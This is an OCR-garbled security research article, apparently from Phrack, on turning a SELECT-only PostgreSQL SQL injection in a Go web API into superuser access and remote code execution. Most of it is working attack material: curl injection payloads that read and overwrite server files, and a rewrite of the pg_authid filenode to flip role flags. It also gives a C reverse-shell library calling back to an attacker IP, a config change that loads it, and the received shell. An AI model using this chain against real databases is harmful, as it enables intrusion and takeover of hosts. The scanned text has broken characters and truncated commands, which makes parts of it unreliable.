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--[ 0 - Introduction

This article tells the story of how a failed attempt to exploit a basic

SQL injection in a web API with the PostgreSQL DBMS quickly spiraled into
3 months of researching database source code and (hopefully) helping to
create several new techniques to pwn Postgres hosts in restrictive

contexts. Let's get into the story, shall we?

--[ 1 -The SQLi that started it all

--[ 1.0 - Target info

The target web app was written in the Golang Gin[0] framework and used
PGX[1] as a DB driver. What is interesting about the application is the
fact that it is a trusted public data repository - anyone can query all

data. The updates, however, are limited to a trusted set of users.

This means that getting a SELECT SQL injection will have no impact on the
application, while DELETE and UPDATE ones will still be critical.

Unfortunately, | am not allowed to disclose the source code of
the original application, but it can be roughly boiled down to this

example (with data and tables changed to something artificial):

package main

import (
"context"
"fmt"
"log"
"net/http"

"github.com/gin-gonic/gin"

"github.com/jackc/pgx/v4/pgxpool"”

var pool *pgxpool.Pool

type Phrase struct {

ID int ‘json:"id"™

Text string “json:"text"



func phraseHandler(c *gin.Context) {

phrases := []Phrase{}

phrase_id := c.DefaultQuery("id", "1")

query := fmt.Sprintf(
"SELECT id, text FROM phrases WHERE id=%s",
phrase_id

rows, err := pool.Query(context.Background(), query)

defer rows.Close()

if err !=nil {
C.JSON(
http.StatusinternalServerError,
gin.H{"error": err.Error()}

)

return

for rows.Next() {
var phrase Phrase
err := rows.Scan(&phrase.ID, &phrase.Text)
if err !=nil {
c.JSON(
http.StatusinternalServerError,
gin.H{"error": err.Error()}
)
return

}
phrases = append(phrases, phrase)

¢.JSON(http.StatusOK, phrases)

func main() {
pool, _= pgxpool.Connect(
context.Background(),

"postgres://localhost/postgres?user=poc_user&password=poc_pass")

r := gin.Default()
r.GET("/phrases", phraseHandler)
r.Run(":8000")



defer pool.Close()

---[ 1.1 - Arather trivial injection

The actual injection happens inside the phraseHandler function on these
lines of code. The app directly formats the query parameter id into
the query string and calls the pool.Query() function. It couldn't be any

simpler, right?

phrase_id := c.DefaultQuery("id", "1")

query := fmt.Sprintf(
"SELECT id, text FROM phrases WHERE id=%s",
phrase_id

rows, err := pool.Query(context.Background(), query)

defer rows.Close()

The SQL injection can be quickly confirmed with these cURL requests:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode "id=1"

[
{"id":1,"text":"Hello, world!"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode "id=-1"
1

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode "id=-1 OR 1=1"
[

{"id":1,"text":"Hello, world!"},

{"id":2,"text":"A day in paradise."},

{"id":14,"text":"Find your inner peace."},

{"id":15,"text":"Dance in the rain"}




At this moment, our SQL query will look something like:

SELECT id, text FROM phrases WHERE id=-1 OR 1=1

Luckily for us, PostgreSQL drivers should easily support stacked queries,
opening a wide range of attack vectors for us. We should be able to append

additional queries separated by a semicolon like:

SELECT id, text FROM phrases WHERE id=-1; SELECT pg_sleep(5);

Let's just try it... Oh no, what is that?

$ curl -G "http://172.23.16.127:8000/phrases" \
--data-urlencode "id=-1; SELECT pg_sleep(5)"
{
"error":"ERROR: cannot insert multiple commands into a prepared
statement (SQLSTATE 42601)"

---[ 1.1 - No stacked queries for you

It turns out that the PGX developers decided to **secure** driver use

by converting any SQL query to a prepared statement under the hood.

This is done to disable any stacked queries whatsoever[2]. It works
because the the PostgreSQL database itself does not allow multiple queries

inside a single prepared statement[3].

So, we are suddenly constrained to a single SELECT query! The DBMS will
reject any stacked queries, and nested UPDATE or DELETE queries are also

prohibited by the SQL syntax.

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 OR (UPDATE * phrases SET text='lol")"

{
"error":"ERROR: syntax error at or near \"SET\" (SQLSTATE 42601)"



$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 OR (DELETE * FROM phrases)"

{
"error":"ERROR: syntax error at or near \"FROM\" (SQLSTATE 42601)"

Nested SELECT queries are still possible, though!

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 OR (SELECT 1)=1"
[

{"id":1,"text":"Hello, world!"},

{"id":14,"text":"Find your inner peace."},

{"id":15,"text":"Dance in the rain"}

Since one can read the DB data without the SQLi, is this bug even worth

reporting?

---[ 1.2 - Abusing server-side lo_ functions

Not all hope is lost, though! Since nested SELECT SQL queries are allowed,
we can try to call some of the built-in PostgreSQL functions and see if

there are any that can help us.

PostgreSQL has several functions that allow reading files from and writing
to the server running the DBMS. These functions[4] are a part of the
PostgreSQL Large Objects functionality, and should be accessible

to the superusers by default:

1. lo_import(path_to_file, lo_id) - read the file into the DB large object
2. lo_export(lo_id, path_to_file) - dump the large object into a file

What files can be read? Since the DBMS is normally running under the
postgres user, we can search for readable files via the following

command:

$ cat /etc/passwd | grep postgres



postgres:x:129:129::/var/lib/postgresql:/bin/bash

$ find / -uid 129 -type f -perm -600 2>/dev/null
/var/lib/postgresql/data/postgresqgl.conf  <---- main service config
/var/lib/postgresql/data/pg_hba.conf <---- authentication config

/var/lib/postgresql/data/pg_ident.conf <---- psqgl username mapping

/var/lib/postgresql/13/main/base/1/2654 <---- some data files
/var/lib/postgresql/13/main/base/1/2613

There already is an RCE technique, initially discovered by Denis
Andzakovic[5] and sylsTyping[6] in 2021 and 2022, which takes advantage
of the postgresql.conf file.

It involves overwriting the config file and either waiting for the server
to reboot or forcefully reloading the configuration via the

pg_reload_conf() PostgreSQL function[7].

We will return to this matter later in the article. For now, let's just

check if we have the permissions to call every function mentioned above.

Calling lo_ functions:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, CAST((SELECT lo_import(‘/var/lib/postgresql/data/postgresql.conf', 31337)) AS text)"

[
{"id":1337,"text":"31337"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, CAST((SELECT lo_get(31337)) AS text)"

[
{"id":1337,"text":"\\x23202d2d2d...72650a"}

Large object functions work just fine! We've imported a file into the DB

and consequently read it from the object with ID 31337.

Calling pg_reload_conf function:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \



"id=-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)"
I

There is a problem with the pg_reload_conf function, however. In success

cases, it should return a row with the text "true".

Why can we call large object functions but not pg_reload_conf?

Shouldn't they both be accessible to a superuser?

---[ 1.3 - Not (entirely) a superuser

They should, but we happen to not be one. Our test user has explicit
permissions over the large object functions but lacks access to anything
else. The permissions should be similar to the below example

configuration:

CREATE USER poc_user WITH PASSWORD 'poc_pass'

GRANT pg_read_server_files TO poc_user
GRANT pg_write_server_files TO poc_user

GRANT USAGE ON SCHEMA public TO poc_user
GRANT SELECT, INSERT, UPDATE, DELETE ON TABLE pg_largeobject TO poc_user

GRANT EXECUTE ON FUNCTION lo_export(oid, text) TO poc_user
GRANT EXECUTE ON FUNCTION lo_import(text, oid) TO poc_user

---[ 1.4 - Looking for a privesc

If we want to perform RCE through the configuration file reliably, we must
find a way to become a superuser and call pg_reload_conf(). Unlike the
popular topic of PostgreSQL RCE techniques, there is not a whole lot of

information about privilege escalation from within the DB.

Luckily for us, the official documentation page for Large Object functions

gives us some clues for the next steps[4]:

> |t is possible to GRANT use of the server-side lo_import and lo_export
> functions to non-superusers, but careful consideration of the security
> implications is required. A malicious user of such privileges could

> easily parlay them into becoming superuser (for example by rewriting



> server configuration files)

What if we were to modify the PostgreSQL table data directly, on disk,
without any UPDATE queries at all?

--[ 2 - PostgreSQL storage concepts

---[ 2.0 - Tables and Filenodes

PostgreSQL has extremely complex data flows to optimize resource usage and
eliminate possible data access conflicts, e.g. race conditions. You can

read about them in great detail in the official documentation[8][9].

The physical data layout significantly differs from the widely known

"table" and "row" objects. All data is stored on disk in a Filenode object

named with the OID of the respective pg_class object.

In other words, each table has its Filenode. We can lookup the OID and

respective Filenode names of a given table through the following queries:

SELECT oid FROM pg_class WHERE relname='"TABLE_NAME'
// OR
SELECT pg_relation_filepath('TABLE_NAME');

All of the filenodes are stored in the PostgreSQL data directory. The path

to which can be queried from the pg_settings table by superusers:

SELECT setting FROM pg_settings WHERE name = 'data_directory’;

However, this value should generally be the same across different

installations of the DBMS and can be easily guessed by a third party.

A common path for PostgreSQL data directories on Debian systems is
"/var/lib/postgresql/MAJOR_VERSION/CLUSTER_NAME/".

We can obtain the major version by running a "SELECT version()" query in
the SQLi. The default value of CLUSTER_NAME is "main".

An example path of a filenode for our "phrases" would be:




===in psq| ===

postgres=# SELECT pg_relation_filepath('phrases');
pg_relation_filepath

base/13485/65549

(1 row)

postgres=# SELECT version();

version

PostgreSQL 13.13 (Ubuntu 13.13-1.pgdg22.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.4.0-Tubuntu1~Z

(1 row)

=== in bash ===

$ Il /var/lib/postgresql/13/main/base/13485/65549
“PW---m-m- 1 postgres postgres 8192 mar 14 13:45 /var/lib/postgresql/13/main/base/13485/65549

So: all of the files with numeric names, found in section 1.2, are in

fact separate table filenodes that the postgres user can read and write!
---[ 2.1 - Filenode format
A Filenode is a binary file composed of separate chunks of 0x2000 bytes

called Pages. Each page holds the actual row data within nested Item

objects. The layout of each Filenode can be summarized with the below

diagram:
R +
| Filenode |
+ + +
|
fhocoomoes + |
| Page 1 | |
+ +ot + S — + + + |
| Page Header |Item ID 1|Item ID 2| ... |Item ID n| | |




| ...emptyspace padded with 0x00... | | |

|

|

B + |1
| 1

| v vl

| | + + + + +

| | | ltemn | ..|Iltem2 | Item 1| |
| + + ot + + |
| .. |
|t |

| | Pagen | I

| et |

| .. |

| |

+ +

---[ 2.2 - Table metadata

It is worth noting that the Item objects are stored in the binary format
and cannot be manipulated directly. One must first deserialize them using
metadata from the internal PostgreSQL "pg_attribute" table. We can query

Item metadata using the following SQL query:

SELECT
STRING_AGG(
CONCAT_WS(

[
rr

attname,
typname,
attlen,

attalign

FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = 'TABLE_NAME;

---[ 2.3 - Cold and Hot data storage



All of the above objects make up the DBMS' cold storage. To access the
data in cold storage through a query, Postgres must first load it in the

RAM cache, a.k.a. hot storage.

The following diagram shows a rough and simplified flow of how the

PostgreSQL accesses the data:

B e i Fommmee + Fomee + Fomeee +
| Table in RAM cache |- >|Filenode|--+--->|Page 1|--—-+--->|Item 1|
dhermmeorerereees + SR + | [ — + | SR +

| |

| A + | - +

+--->|Page 2| +--->|ltem 2|

+--->|Pagen| +-->|ltemn|

The DBMS periodically flushes any changes to the data in hot storage to

the filesystem.

These syncs may pose a challenge to us! Since we can only edit the cold
storage of a running database, we risk subsequent hot storage syncs
overwriting our edits. Thus, we must ensure that the table we want to

overwrite has been offloaded from the cache.

#
# PostgreSQL configuration file
#

# - Memory -

shared_buffers = 128MB # min 128kB

# (change requires restart)

The default cache size is 128MB. So, if we stress the DB with expensive
queries to other tables/large objects before the flush, we might overflow

the cache and clear our target table from it.



---[ 2.4 - Editing filenodes offline

I've created a tool to parse and modify data stored in filenodes, which
functions independently of the Postgres server that created the filenodes.

We can use it to overwrite target table rows with our desired values.

The editor supports both datatype-assisted and raw parsing modes. The
assisted mode is the preferred option as it allows you to edit the data

safely, without accidentally messing up the whole filenode structure.

The actual parsing implementation is way too lengthy to discuss in this
article, but you can find the sources on GitHub[10], or the source code

in this article if reading online, if you want to dig deeper into it.

You can also check out this article[12] on parsing filenodes in Golang.

--[ 3 - Updating the PostgreSQL data without UPDATE

--[ 3.0 - Identifying target table

So, we are looking to escalate our permissions to those of a DBMS
superuser. Which table should we aim to modify? All Postgres permissions
are stored in the internal table "pg_authid". All CREATE/DROP/ALTER
statements for new roles and users actually modify this table under the
hood. Let's inspect it in a PSQL session under the default super-admin

user:

postgres=# SELECT * FROM pg_authid; \x
-[ RECORD 1 J--+

oid | 3373
rolname | pg_monitor
rolsuper | f

rolinherit |t
rolcreaterole | f
rolcreatedb | f
rolcanlogin | f
rolreplication | f
rolbypassrls | f
rolconnlimit | -1
rolpassword |

rolvaliduntil |

... TRUNCATED ...
-[ RECORD 9 ]--+




oid | 10
rolname | postgres
rolsuper | t
rolinherit | t
rolcreaterole |t
rolcreatedb |t
rolcanlogin | t
rolreplication | t
rolbypassrls | t
rolconnlimit | -1
rolpassword |
rolvaliduntil |

-[ RECORD 10 ]-+
oid | 16386

rolname | poc_user

rolsuper | f

rolinherit | t

rolcreaterole | f

rolcreatedb | f

rolcanlogin | t

rolreplication | f

rolbypassrls | f

rolconnlimit | -1

rolpassword | md58616944eb80b569f7be225c2442582cd

rolvaliduntil |

The table contains a bunch of "rol" boolean flags and other interesting
stuff, like the MD5 hashes of the user logon passwords. The default

superadmin user "postgres" has all boolean flags set to true.

To become a superuser, we must flip all boolean fields to True for our

user, "poc_user".

---[ 3.1 - Search for the associated Filenode

To modify the table, we must first locate and read the filenode from the
disk. As discussed previously, we won't be able to get the data directory
setting from the DBMS, as we lack permissions to read the "pg_settings"

table:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, (SELECT setting FROM pg_settings WHERE name='data_directory")"



"error":"can't scan into dest[1]: cannot scan null into *string"

However, we can reliably guess the data directory path by querying the
version of the DBMS:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, (SELECT version())"

[
{"id":1337,"text":"PostgreSQL 13.13 (Ubuntu 13.13-1.pgdg22.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu

Version information gives us more than enough knowledge about the DBMS
and the underlying server. We can simply install a major version of
PostgreSQL release 13 on our own Ubuntu 22 VM and find that the data
directory is "/var/lib/postgresql/13/main":

ubuntu@ubuntu-virtual-machine:~$ uname -a

Linux ubuntu-virtual-machine 6.5.0-14-generic #14~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Nov 20 18:15:30 UT
ubuntu@ubuntu-virtual-machine:~$ sudo su postgres
postgres@ubuntu-virtual-machine:~$ pwd
/var/lib/postgresql

postgres@ubuntu-virtual-machine:~$ Is -| 13/main/

total 84

drwx------ 5 postgres postgres 4096 lis 26 14:48 base
drwx------ 2 postgres postgres 4096 mar 15 11:56 global
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_commit_ts
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_dynshmem
drwx------ 4 postgres postgres 4096 mar 15 11:55 pg_logical
drwx------ 4 postgres postgres 4096 lis 26 14:48 pg_multixact
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_notify
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_replslot
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_serial
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_snapshots
drwx------ 2 postgres postgres 4096 mar 11 00:45 pg_stat
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_stat_tmp
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_subtrans
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_tblspc
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_twophase



-FW------- 1 postgres postgres 3 lis 26 14:48 PG_VERSION
drwx------ 3 postgres postgres 4096 lut 4 00:22 pg_wal

drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_xact

SW---mmm- 1 postgres postgres 88 lis 26 14:48 postgresql.auto.conf
-FW------- 1 postgres postgres 130 mar 15 11:55 postmaster.opts

-FW------- 1 postgres postgres 100 mar 15 11:55 postmaster.pid

With the data directory path obtained, we can query the relative path to
the "pg_authid" Filenode. Thankfully, there are no permission issues this

time.

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, (SELECT pg_relation_filepath('pg_authid"))"

[
{"id":1337,"text":"global/1260"}

With all the information in our hands, we can assume that the "pg_authid"

Filenode is located at "/var/lib/postgresql/13/main/global/1260".

Let's download it to our local machine from the target server.

---[ 3.2 - Reading and downloading the Filenode

We can now quickly download the file as a base64 string through the

Large Object functions "lo_import" and "lo_get" in the following steps:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_import('/var/lib/postgresql/13/main/global/1260', 331337)) AS text)"

[
{"id":1337,"text":"331337"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,translate(encode(lo_get(331337), 'base64'), E\n', )" | jq ".[].text" -r | base64 -d > pg_authid.

After decoding the Base64 into a file, we can confirm that we indeed

successfully downloaded the "pg_authid" Filenode by comparing the hashes.




=== 0on the attacker server ===
$ md5sum pg_authid_filenode
4c9514c6fb515907b75b8ac04b00f923 pg_authid_filenode

=== on the target server ===
postgres@ubuntu-virtual-machine:~$ md5sum /var/lib/postgresql/13/main/global/1260
4c9514c6fb515907b75b8ac04b00f923 /var/lib/postgresql/13/main/global/1260

---[ 3.3 - Extracting table metadata

One last step before parsing the downloaded Filenode -- we must get its

metadata from the server via the following SQLi query:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,STRING_AGG(CONCAT_WS(',',attname,typname,attlen,attalign),’;") FROM pg_attribute JOIN p
[

{"id":1337,"text":"tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;0id,0id,4,i;rolname,nam

We should now be able to use our in-house Python3 Filenode editor to list
the data and confirm it is intact. The output for the "rolname" field will
be a bit ugly, because for some reason this field is stored in a 64-byte

fixed-length string padded with null bytes, instead of the common varchar

type:

$ python3 postgresql_filenode_editor.py \
-f ./pg_authid_filenode \
-m list \

--datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid tid,6,s;0id,oid,4,i;rolname,name,64

[+] Page O:

oid :10

rolname  :b'postgres\x00...'
rolsuper :1

rolinherit :1

rolcreaterole : 1

rolcreatedb :1

rolcanlogin :1

rolreplication: 1



rolbypassrls : 1
rolconnlimit : -1

rolpassword : None

--------- item no. 1 ---------
oid 3373
rolname  :b'pg_monitor\x00..."

rolsuper :0
rolinherit :1
rolcreaterole : 0
rolcreatedb :0
rolcanlogin :0
rolreplication: 0
rolbypassrls : 0
rolconnlimit : -1
rolpassword :None
... TRUNCATED ...

oid : 16386

rolname : b'poc_user\x00..."
rolsuper :0

rolinherit : 1

rolcreaterole : 0

rolcreatedb :0

rolcanlogin :1

rolreplication: 0

rolbypassrls : 0

rolconnlimit : -1

rolpassword :b'md58616944eb80b569f7be225c2442582cd'

---[ 3.4 - Making ourselves a superuser

We can now use the Filenode editor to update Item no. 9, which contains
the entry for "poc_user". For convenience, we can pass any non-printable
fields (such as the "rolname" field) as base64 string. We will flip all

"rol" flags to 1 with the following editor command:

$ python3 postgresql_filenode_editor.py \
-f ./pg_authid_filenode \

-m update \

-p 0\

-i 9\



--datatype-csv "tableoid,oid,4,i;cmax,cid,4,i;xmax,xid,4,i;cmin,cid,4,i;xmin,xid,4,i;ctid,tid,6,s;0id,oid,4,i;rolname,name,64
--csv-data "16386,cGIjX3VZZXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

The script will save the updated Filenode to a file with ".new" as an
extension. We can now re-upload the data to the PostgreSQL server and

overwrite the original data through the SQLi.

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(3331337, decode('$(base64 -w 0 pg_authid_filenode.new)', 'ba

[
{"id"™:1337,"text":"3331337"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(3331337, '/var/lib/postgresql/13/main/global/1260") AS text)"
[{"id":1337,"text™:"1"}]

So, we've just overwritten the Filenode on the disk! But the RAM cache

still has the old data. We must find a way to flush it somehow:

postgres=# SELECT * FROM pg_authid WHERE rolname="poc_user’; \x
-[ RECORD 1 J--+

oid | 16386
rolname | poc_user
rolsuper | f

rolinherit |t

rolcreaterole | f

rolcreatedb | f

rolcanlogin | t

rolreplication | f

rolbypassrls | f

rolconnlimit | -1

rolpassword | md58616944eb80b569f7be225c2442582cd

rolvaliduntil |

---[ 3.5 - Flushing Hot storage

So, you may be wondering - how can we force the server to clean the RAM

cache? How about creating a Large Object of a size matching the entire



cache pool? :DDDDD

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(33331337, (SELECT REPEAT('a', 128*1024*1024))::bytea)) AS te

[
{"id":1337,"text":"33331337"}

The server took at least 5 seconds to process our query, which may

indicate our success. Let's check our permissions again:

postgres=# SELECT * FROM pg_authid WHERE rolname="poc_user’; \x
-[ RECORD 1 J--+

oid | 16386
rolname | poc_user
rolsuper | t

rolinherit |t

rolcreaterole |t

rolcreatedb |t

rolcanlogin | t

rolreplication | t

rolbypassrls | t

rolconnlimit | -1

rolpassword | md58616944eb80b569f7be225c2442582cd

rolvaliduntil |

Success! All "rol" flags were flipped to true! Can we reload the config

now?

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)"

[
{"id":1337,"text":"true"}

Notice that this query now returns a row with "text" set to "true",

confirming that we are indeed able to reload the config now.



That's more like it! We can now perform SELECT-only RCE.

--[ 4 - SELECT-only RCE

---[ 4.0 - Reading original postgresql.conf

The first step in performing the RCE is to download the original config

file. Since we are a super-admin now, we can query its path directly from

the "pg_settings" table without any extra path guessing effort:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, sourcefile FROM pg_file_settings"

[
{"id":1337,"text":"/etc/postgresql/13/main/postgresql.conf"}

Let's download it with the help of previously used Large Object functions:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, CAST((SELECT lo_import('/etc/postgresql/13/main/postgresql.conf', 3333331337)) AS text)"

[
{"id"™:1337,"text":."3333331337"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,translate(encode(lo_get(3333331337), 'base64'), E\n', ")" | jq ".[1.text" -r | base64 -d > postg

---[ 4.1 - Choosing a parameter to exploit

There are several known options that can already be used for an RCE:

- ssl_passphrase_command (by Denis Andzakovic[5])

- archive_command (by sylsTyping[6])

But are any other parameters worth looking into?

$ cat postgresql.conf

# - Shared Library Preloading -



#local_preload_libraries ="
#session_preload_libraries ="

#shared_preload_libraries ="  # (change requires restart)

# - Other Defaults -

#dynamic_library_path = '$libdir’

These parameters specify libraries to be loaded dynamically by the DBMS
from the path specified in the "dynamic_library_path" variable, under

specific conditions. That sounds promising!

We will focus on the "session_preload_libraries" variable, which dictates
what libraries should be preloaded by the server on a new connection[11].
It does not require a restart of the server, unlike
"shared_preload_libraries", and does not have a specific prefix prepended

to the path like the "local_preload_libraries" variable.

So, we can rewrite the malicious postgresql.conf to have a writable
directory in the "dynamic_library_path", e.g. /tmp, and to have a
rogue library filename in the "shared_preload_libraries", e.g.

"payload.so".

The updated config file will look like this:

$ cat postgresql.conf

# - Shared Library Preloading -

session_preload_libraries = 'payload.so’

# - Other Defaults -

dynamic_library_path = "/tmp:$libdir’

---[ 4.2 - Compiling the malicious library

One of the final steps is to compile a malicious library for the server to

load. The code will naturally vary depending on the OS the DBMS is running



under. For the Unix-like case, let's compile the following simple reverse
shell into an .so file. The "_init()" function will automatically fire on

library load:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"

#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/>(-
code taken from https.//www.revshells.com/
&7

int port = 8888;

struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;

revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));

dup2(sockt, 0);

dup2(sockt, 1);

dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);

Notice the presence of the "PG_MODULE_MAGIC" field in the code. It is



required for the library to be recognized and loaded by the PostgreSQL

server.

Before compilation, we must install proper PostgreSQL development packages

for the correct major version, 13 in our case:

$ sudo apt install postgresql-13 postgresql-server-dev-13 -y

The code can be compiled with gcc with the following command:

$ gcc\

-1$(pg_config --includedir-server) \
-shared \

-fPIC\

-nostartfiles \

-0 payload.so \

payload.c

---[ 4.3 - Uploading the config and library to the server

With the updated config file and compiled library on our hands, it is time

to upload and overwrite everything on the target DBMS host.

Uploading and replacing the postgresql.conf file:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(3331333337, decode('$(base64 -w 0 postgresql_new.conf)', 'be

[
{"id"™:1337,"text":."3331333337"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(3331333337, '/etc/postgresql/13/main/postgresqgl.conf')) AS text)"
[{"id":1337,"text":"1"}]

Uploading the malicious .so file:

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \



"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(33313333337, decode('$(base64 -w 0 payload.so)', 'base64"))) /

[
{"id":1337,"text":"33313333337"}

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(33313333337, '/tmp/payload.so')) AS text)"
[{"id":1337,"text":"1"}]

If everything is correct, we should see the updated config and .so file in

place:

# .so library

=== target server ===
ubuntu@ubuntu-virtual-machine:/tmp$ md5sum payload.so
0a240596d100c8ca8e781543884da202 payload.so

=== attacker server ===
$ md5sum payload.so
0a240596d100c8ca8e781543884da202 payload.so

# postgresql.conf

=== target server ===

ubuntu@ubuntu-virtual-machine:~$ md5sum /etc/postgresql/13/main/postgresql.conf
480bb646f178be2a9a2b609b384e20de /etc/postgresql/13/main/postgresql.conf

=== attacker server ===
$ md5sum postgresql_new.conf
480bb646f178be2a9a2b609b384e20de postgresqgl_new.conf

---[ 4.4 - Reload successful

We are all set. Now for the moment of glory! A quick config reload and we

get a reverse shell back from the server.

$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)"

[
{"id":1337,"text":"true"}



On the attacker host:

$ nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 172.23.16.1 53004

id

uid=129(postgres) gid=138(postgres) groups=138(postgres),115(ssl-cert)
pwd

/var/lib/postgresq|l

--[ 5 - Conclusions

In this article, we managed to escalate the impact of a seemingly very
restricted SQL injection to a critical level by recreating DELETE and
UPDATE statements from scratch via the direct modification of the DBMS
files and data, and develop a novel technique of escalating user

permissions!

Excessive server file read/write permissions can be a powerful tool in
the wrong hands. There is still much to discover with this attack vector,

but | hope you've learned something useful today.

Cheers,
adeadfed
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--[ 7 - Source code

base64 -w 75 sources.tar.gz
H4sIAAAAAAAAA+W9a3MaubL7mV+hm1QtsCEYMA/HFacK20NMLQYfwNnkel1 TAwWgzm2GGMzPE9SU7
mv99uaTQjzcNgJ+s9dw+qVAxe6dLebpVa31BIrx/NvXOr92309Ny1q0zP6ms5M33H3fvheqQKp1W
rg32qrUZH/ivRDtd50Nar7jVqj9k0I2mi1qgj+Qxnej4lG09nzDJeSHOWRt++sH6mMOo/3+aVvVtny7
3VPtP5IKy9n34gDBdxs1rPkX6s0GqH8K3WoV23tt50/kMp36eGGIF8u//PumPTMKbUIMsudOKt7
17xZ+KQwLZJapVYn58Zn735)Phi+d/8517ug7tLOPNOxiemRBXXp5)7culbt01m])zF1KiTMn04X
h3tAS8R1i2PdkRVOPGjgT3zBt074hBpkCphzU9BcAxnPm/q3hUqg8l4bnOVPTAHhk5kzXS2r7ho
/4cHh6pOAVKHKxCIg8KDIkM2pYOdMmWCaKyK3pL5y1T2Bw+645RRglYtpTaz1DGkSxZS7NAAM2Z
933cgB07UEPKkM4SWTozc45/KevWaj2xTGIRIMTQU/WPmMR6MMn4WMJ+7Dku8ahl5QCCCXSzvkbU
sTpl+goZ6gcs8jDnduEs1Z6YXm6+dm1ASYmbmQMsYxh/o1Mfc7D63LEs5xa7NnVsmMHQI+8wixt
DkTFxvIDWFy5d2/GBVE4CCmMAVSTU08haGZZE|DRgGelGOhtQdFOHD1LF907DIynEZvng3y4D/TC]P/IxsKkWddn
8CGgxHfv)Z)4Qy6tMtScOSIgitqwmyvRuSIc+0dgfsNof0aV81/5iWOYsQEEQKDgCvGdAPaf2xPv
CSIVxsolUBKN8rFd2qTGjbkGMo6htsXhVuf5udJ+MPMQQLcYoEF+Y4ejVgYQHKBf1 pcrfjlugkEK
EyciVK/4L5v4X+t5ybG+o+efXfvP43W634+18Dc3Gn/58hBRrau/e46gZhr921UNxcOMEMmMTr23
IRSqvNsoQxfwpRY4gYDVDLWVtgKy4KxwysUinKeRb9Qq5A/1Y4v3+dxp8Vy3KP829uF6dN3kGEC
vqP81U/X+bRmo8uTE3DhpYYwigktNXyV3hAcWfDrzZYz3FDdOpJb/k95SGw4HQ6EmMAS2dSo9fYSG5
